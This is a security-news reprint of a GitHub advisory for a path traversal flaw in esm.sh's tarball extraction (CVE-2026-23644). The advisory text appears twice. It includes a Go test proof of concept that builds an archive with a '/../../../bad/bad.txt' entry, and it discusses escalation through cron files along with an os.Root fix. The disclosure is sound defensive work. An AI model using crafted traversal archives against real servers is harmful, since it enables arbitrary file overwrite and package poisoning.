Security
Headlines
HeadlinesLatestCVEs

Headline

GHSA-2657-3c98-63jq: esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
    "archive/tar"
    "bytes"
    "compress/gzip"
    "testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
    // Create a temporary directory for testing
    installDir := "./testdata/good"

    // Create a malicious tarball with path traversal
    var buf bytes.Buffer
    gw := gzip.NewWriter(&buf)
    tw := tar.NewWriter(gw)

    // Add a normal file
    content := []byte("export const foo = 'bar';")
    header := &tar.Header{
        Name:     "package/index.js",
        Mode:     0644,
        Size:     int64(len(content)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(content); err != nil {
        t.Fatal(err)
    }

    // Add a malicious file with path traversal
    bad := []byte("bad")
    header = &tar.Header{
        Name:     "/../../../bad/bad.txt",
        Mode:     0644,
        Size:     int64(len(bad)),
        Typeflag: tar.TypeReg,
    }
    if err := tw.WriteHeader(header); err != nil {
        t.Fatal(err)
    }
    if _, err := tw.Write(bad); err != nil {
        t.Fatal(err)
    }

    tw.Close()
    gw.Close()

    // Call extractPackageTarball with the malicious tarball
    if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
        t.Errorf("extractPackageTarball returned error: %v", err)
    }
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

  • extractPackageTarball has a file-extension check which makes some more “obvious” escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
  • Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it’s home directory.
  • The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using os.Root seems like it will solve this issue and doesn’t require new dependencies.

ghsa
#js#git#docker
  1. GitHub Advisory Database
  2. GitHub Reviewed
  3. CVE-2026-23644

esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

High severity GitHub Reviewed Published Jan 17, 2026 in esm-dev/esm.sh • Updated Jan 20, 2026

Package

gomod github.com/esm-dev/esm.sh (Go)

Affected versions

>= 0.0.1, <= 136

< 0.0.0-20260116051925-c62ab83c589e

Patched versions

0.0.0-20260116051925-c62ab83c589e

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import ( “archive/tar” “bytes” “compress/gzip” “testing” )

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarball_PathTraversal(t *testing.T) { // Create a temporary directory for testing installDir := “./testdata/good”

// Create a malicious tarball with path traversal
var buf bytes.Buffer
gw := gzip.NewWriter(&buf)
tw := tar.NewWriter(gw)

// Add a normal file
content := \[\]byte("export const foo = 'bar';")
header := &tar.Header{
    Name:     "package/index.js",
    Mode:     0644,
    Size:     int64(len(content)),
    Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
    t.Fatal(err)
}
if \_, err := tw.Write(content); err != nil {
    t.Fatal(err)
}

// Add a malicious file with path traversal
bad := \[\]byte("bad")
header \= &tar.Header{
    Name:     "/../../../bad/bad.txt",
    Mode:     0644,
    Size:     int64(len(bad)),
    Typeflag: tar.TypeReg,
}
if err := tw.WriteHeader(header); err != nil {
    t.Fatal(err)
}
if \_, err := tw.Write(bad); err != nil {
    t.Fatal(err)
}

tw.Close()
gw.Close()

// Call extractPackageTarball with the malicious tarball
if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
    t.Errorf("extractPackageTarball returned error: %v", err)
}

}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

  • extractPackageTarball has a file-extension check which makes some more “obvious” escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
  • Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it’s home directory.
  • The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using os.Root seems like it will solve this issue and doesn’t require new dependencies.

References

  • GHSA-2657-3c98-63jq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-23644
  • esm-dev/esm.sh@9d77b88
  • esm-dev/esm.sh@c62ab83
  • https://pkg.go.dev/vuln/GO-2025-4138

Published to the GitHub Advisory Database

Jan 20, 2026

Last updated

Jan 20, 2026

ghsa: Latest News

GHSA-qppm-g56g-fpvp: Turbo Frame responses can restore stale session cookies